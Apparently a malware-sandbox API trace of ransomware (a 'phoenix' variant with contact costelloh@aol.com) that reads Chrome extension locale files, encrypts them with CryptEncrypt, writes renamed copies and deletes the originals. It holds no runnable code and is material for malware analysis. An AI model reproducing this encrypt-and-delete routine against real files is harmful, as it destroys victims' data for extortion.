	[0254.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.765] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=291) returned 1
	[0254.765] CloseHandle (hObject=0x300) returned 1
	[0254.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json")) returned 0x20
	[0254.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.765] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.765] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.766] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0254.766] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.766] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x123, lpOverlapped=0x0) returned 1
	[0254.769] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130, dwBufLen=0x130 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130) returned 1
	[0254.769] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x130, lpOverlapped=0x0) returned 1
	[0254.770] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0254.770] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.770] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.770] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.770] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.771] CryptDestroyKey (hKey=0x151040) returned 1
	[0254.771] CloseHandle (hObject=0x300) returned 1
	[0254.771] CloseHandle (hObject=0x2b4) returned 1
	[0254.771] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json")) returned 1
	[0254.772] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.772] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=230) returned 1
	[0254.772] CloseHandle (hObject=0x2b4) returned 1
	[0254.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json")) returned 0x20
	[0254.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.772] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.772] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.773] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0254.773] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.773] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe6, lpOverlapped=0x0) returned 1
	[0254.774] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0254.774] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0254.775] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0254.775] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.775] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.775] CryptDestroyKey (hKey=0x151780) returned 1
	[0254.775] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.775] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.775] CloseHandle (hObject=0x2b4) returned 1
	[0254.775] CloseHandle (hObject=0x300) returned 1
	[0254.775] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json")) returned 1
	[0254.776] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.776] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=208) returned 1
	[0254.777] CloseHandle (hObject=0x300) returned 1
	[0254.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json")) returned 0x20
	[0254.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.777] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.777] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.777] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0254.777] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.777] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd0, lpOverlapped=0x0) returned 1
	[0254.778] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0254.778] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0254.779] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0254.779] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.779] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.779] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.779] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.780] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.780] CloseHandle (hObject=0x300) returned 1
	[0254.780] CloseHandle (hObject=0x2b4) returned 1
	[0254.780] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json")) returned 1
	[0254.781] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.781] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=221) returned 1
	[0254.781] CloseHandle (hObject=0x2b4) returned 1
	[0254.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json")) returned 0x20
	[0254.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0254.782] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.782] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.782] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0254.782] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.782] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdd, lpOverlapped=0x0) returned 1
	[0254.783] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0254.783] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0254.785] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0254.785] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.785] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.785] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.785] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.785] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.785] CloseHandle (hObject=0x2b4) returned 1
	[0254.785] CloseHandle (hObject=0x300) returned 1
	[0254.785] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json")) returned 1
	[0254.786] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.786] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=236) returned 1
	[0254.786] CloseHandle (hObject=0x300) returned 1
	[0254.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json")) returned 0x20
	[0254.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0254.787] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.787] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
